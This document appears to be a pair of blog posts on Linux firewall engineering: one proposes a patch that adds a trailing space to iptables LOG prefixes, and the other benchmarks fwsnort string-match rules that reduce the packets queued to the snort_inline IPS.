Trailing Spaces and iptables LOG Prefixes The iptables firewall offers verbose logging capabilities that generate syslog messages for IP packets, and these log messages include the header field values for nearly every interesting field in both the network and transport layer headers. The iptables logging function is implemented by two piece of code; one is the iptables userland binary that accepts a rule specified by the user with the LOG target, and the other is the in-kernel code that generates the appropriate klogd message when a packet matches a LOG rule within the kernel. The userland code that handles LOG rules is implemented by the file iptables/extensions/libipt_LOG.c in the iptables sources, and the kernel code that implements the LOG target is implemented by the file linux/net/ipv4/netfilter/ipt_LOG.c in the kernel sources.

A useful feature is that iptables LOG rules accept up to a 29-character string that is set by the user in order to add descriptive information to a log message when a packet triggers a LOG match. This is used by many open source projects to make iptables logs more effective when packets are logged. For example, fwsnort creates log prefixes such as "[1] REJ SID2180 ESTAB" when the Snort rule ID 2180 "P2P BitTorrent announce request" is detected by the fwsnort iptables policy. This prefix contains the rule number (1 in this case), shows that the TCP connection was terminated with a RST (indicated by the REJ string), and the original signature match took place over an established TCP connection (indicated by ESTAB).

This is all fine, but there is one minor wrinkle that affects many open source projects based around iptables: the LOG target does not enforce a trailing space character on log prefixes. This results in an unfortunate situation where the user can cause iptables to create log messages that break its own notion of tokens that define the shape of the log messages. For example, here is an iptables rule along with its resulting log message when a TCP SYN packet is sent to port 5001: # iptables -I INPUT 1 -p tcp --dport 5001 -j LOG --log-prefix "TEST"
Aug 28 22:04:43 minastirith kernel: TESTIN=eth0 OUT= MAC=00:13:d3:38:b6:e4:00:13:46:c2:60:44:08:00 SRC=192.168.10.3 DST=192.168.10.1 LEN=60 TOS=0x10 PREC=0x00 TTL=63 ID=56577 DF PROTO=TCP SPT=53479 DPT=5001 WINDOW=5840 RES=0x00 SYN URGP=0
Note the "TESTIN=eth0" string above. This string only exists because neither the ipt_LOG.c code distributed with the Linux kernel nor the libipt_LOG.c distributed with iptables adds a trailing space after the "TEST" string. If the rule had been built with "--log-prefix "TEST " (note the trailing space), then the log message would not break its own syntax.

Patches to enforce this behavior for this have been proposed before on the Netfilter development list, but they have not been accepted. The reason given is that the Netfilter maintainers don't want to break any parsers that are already coded to handle log prefixes without the space.

I understand this concern, but I respectfully submit that most major open source projects that build iptables policies add in the space already, and any parser that is worth its salt would therefore have to handle both cases. That is, parsers have to handle log prefixes that contain the trailing space and prefixes that omit it. In addition, all three of the shorewall, ipcop, and fwbuilder projects build in the trailing space to the log prefixes they generate, so parsers are already more likely to handle prefixes with the space than without it because these are popular projects for building iptables policies.

From now on, I will maintain a patch as a part of the psad project that modifies the iptables binary such that if the last character in a log prefix is not a space, then the code will add one automatically. A similar strategy could be implemented in the kernel, but it seems that a less invasive and a more easily deployed solution is to patch the iptables userland binary. A patch that implements this for iptables-1.3.8 has been checked into the psad source tree, and you can download it here. You can apply it as follows, and then recompile and install iptables: $ cd iptables-1.3.8
$ wget -O iptables-1.3.8_LOG_prefix_space.patch http://trac.cipherdyne.org/trac/psad/browser/psad/trunk/patches /iptables-1.3.8_LOG_prefix_space.patch?format=txt
$ patch -p0 < iptables-1.3.8_LOG_prefix_space.patch
patching file extensions/libipt_LOG.c
With this patch, all of your existing iptables scripts will function exactly as they always have; no additional space is added for any iptables log prefix that already has a trailing space - only those that are missing the space will be changed. It is my hope that the Netfilter project will incorporate this patch into iptables.

Enhancing Inline IPS Performance with Kernel String Matching

Digg Speeding_up_snort_inline_IPS Enhancing Inline IPS Performance The iptables QUEUE and NFQUEUE targets are used by both open source and commercial Intrusion Prevention Systems. These targets allow a userspace process (the IPS in this case) to acquire packet data from the Linux kernel via a netlink socket and set verdicts on whether packets should be forwarded only after the IPS has sent the packets through its detection engine. This can provide a effective means from protecting other systems from attack (subject to the usual concerns over false positives).

Using iptables provides a flexible means for placing a QUEUE rule within an existing iptables policy. For example, if you are not running a DNS server behind an iptables firewall, then you can use the DROP target against any attempts to communicate with a DNS server before sending such packets to a userspace IPS - which would needlessly place additional load on the CPU when such traffic can just be dropped from within the kernel directly before it ever hits the QUEUE rule: # iptables -A FORWARD -p udp --dport 53 -j DROP
# iptables -A FORWARD -j QUEUE
This is a nice consequence, but is only possible in this case because there is no internal DNS server to attack in the first place. What about using facilities provided by iptables to reduce the packet load that is queued to a userspace IPS for servers that do exist? Say, for a web server?

An IPS such as snort_inline can be deployed with a large signature set, and most Snort signatures use the content or uricontent keywords to search packet application layer data for malicious content. In the context of snort_inline, usually the QUEUE or NFQUEUE rule is the default rule in the FORWARD chain - this ensures that snort_inline inspects all packets before they are forwarded through the system. So, you could say the iptables policy has a "default QUEUE stance".

However, by using the iptables string match extension and an iptables policy built by fwsnort, we can change the "default QUEUE stance" to "only QUEUE packets that match a Snort content field". The resulting performance gain can be substantial as we will see below. Fwsnort accomplishes this by parsing the Snort signature set that is deployed in snort_inline, and then building an iptables policy that makes heavy use of the string match extension to ACCEPT all packets in the FORWARD chain that do not match any of the content fields in the signature set, and QUEUE those that do. In general, this greatly reduces the number of packets that have to be queued to snort_inline since (usually) most traffic is not malicious.

As a simple example, consider the following Snort signature: alert tcp any any -> any any (msg:"fwsnort download"; content:"fwsnort/download"; classtype:web-application-attack; sid:12325678; rev:1;) This signature is for illustration purposes only and is written just to force snort_inline to inspect all TCP packets for the string "fwsnort/download". With this signature deployed in snort_inline on one of my systems (an old PIII with 100Mb Ethernet interfaces running the 2.6.20.3 kernel), I measured the following throughput with netperf. This test used a default QUEUE rule in iptables, so every TCP packet is queued to snort_inline:
# netperf -v 2 -L 192.168.50.1 -H 192.168.50.2
TCP STREAM TEST from 192.168.50.1 (192.168.50.1) port 0 AF_INET \
to 192.168.50.2 (192.168.50.2) port 0 AF_INET
Recv   Send    Send
Socket Socket  Message  Elapsed
Size   Size    Size     Time     Throughput
bytes  bytes   bytes    secs.    10^6bits/sec

 87380  16384  16384    10.02      60.07

Alignment      Offset         Bytes    Bytes       Sends Bytes   Recvs
Local  Remote  Local  Remote  Xfered   Per                Per
Send   Recv    Send   Recv             Send (avg)         Recv (avg)
  8       8      0       0 7.524e+07  16384.33      4592 1444.75 52076

Maximum
Segment
Size (bytes)
  1448
The throughput number above indicates that netperf was able to achieve 60.07 Mb/sec over the life of the 10 second test. Now, let's use fwsnort to convert the Snort signature into an equivalent iptables rule, and deploy it:
# fwsnort --snort-sid 12325678 --QUEUE
[+] Parsing Snort rules files...
[+] Found sid: 12325678 in test.rules
    Successful translation.

[+] Logfile: /var/log/fwsnort.log
[+] Snort rule set directory for rules to be queued to userspace:
    /etc/fwsnort/snort_rules_queue
[+] iptables script: /etc/fwsnort/fwsnort.sh
# /etc/fwsnort/fwsnort.sh
[+] Adding test rules.
    Rules added: 2
[+] Finished.
Now, executing the netperf throughput test generates the following result:
# netperf -v 2 -L 192.168.50.1 -H 192.168.50.2
TCP STREAM TEST from 192.168.50.1 (192.168.50.1) port 0 AF_INET \
to 192.168.50.2 (192.168.50.2) port 0 AF_INET
Recv   Send    Send
Socket Socket  Message  Elapsed
Size   Size    Size     Time     Throughput
bytes  bytes   bytes    secs.    10^6bits/sec

 87380  16384  16384    10.01      94.11

Alignment      Offset         Bytes    Bytes       Sends  Bytes  Recvs
Local  Remote  Local  Remote  Xfered   Per                Per
Send   Recv    Send   Recv             Send (avg)         Recv (avg)
    8       8      0       0 1.178e+08  16384.74   7189   1440.01 81798

Maximum
Segment
Size (bytes)
  1448
So, in this test we achieved 94.11 Mb/sec sustained throughput - that's about a 57% speed increase!

This may sound good, but as always there are some tradeoffs. First, because this strategy causes iptables to only selectively queue packets to userspace, snort_inline does not have the opportunity inspect an entire stream. This implies that the stream preprocessor needs to be disabled since otherwise signatures with the flow keyword will never match. Secondly, because the preliminary signature match is performed by iptables, taking into account application layer encodings (such as URL encoding used in web servers) is not possible. This results in a reduced ability to detect attacks. In some cases however, performance requirements may override these considerations. Also, some attacks do not need to bother with attempts at obfuscation because the target environment is so rich.

Significant work needs to be performed to validate this as a viable strategy for increasing IPS performance, but these preliminary results are encouraging. On a final note, this strategy is applicable to any IPS that makes use of the iptables queuing mechanism - not just snort_inline.

Also, thanks are in order to Hank Leininger of KoreLogic Security for suggesting the combination of the QUEUE target and string matching as a way to speed up inline Snort implementations at a talk I gave about Linux Firewalls at ShmooCon 2007. I implemented the --QUEUE and --NFQUEUE targets in fwsnort-1.0 as a result of meditating on this for a while.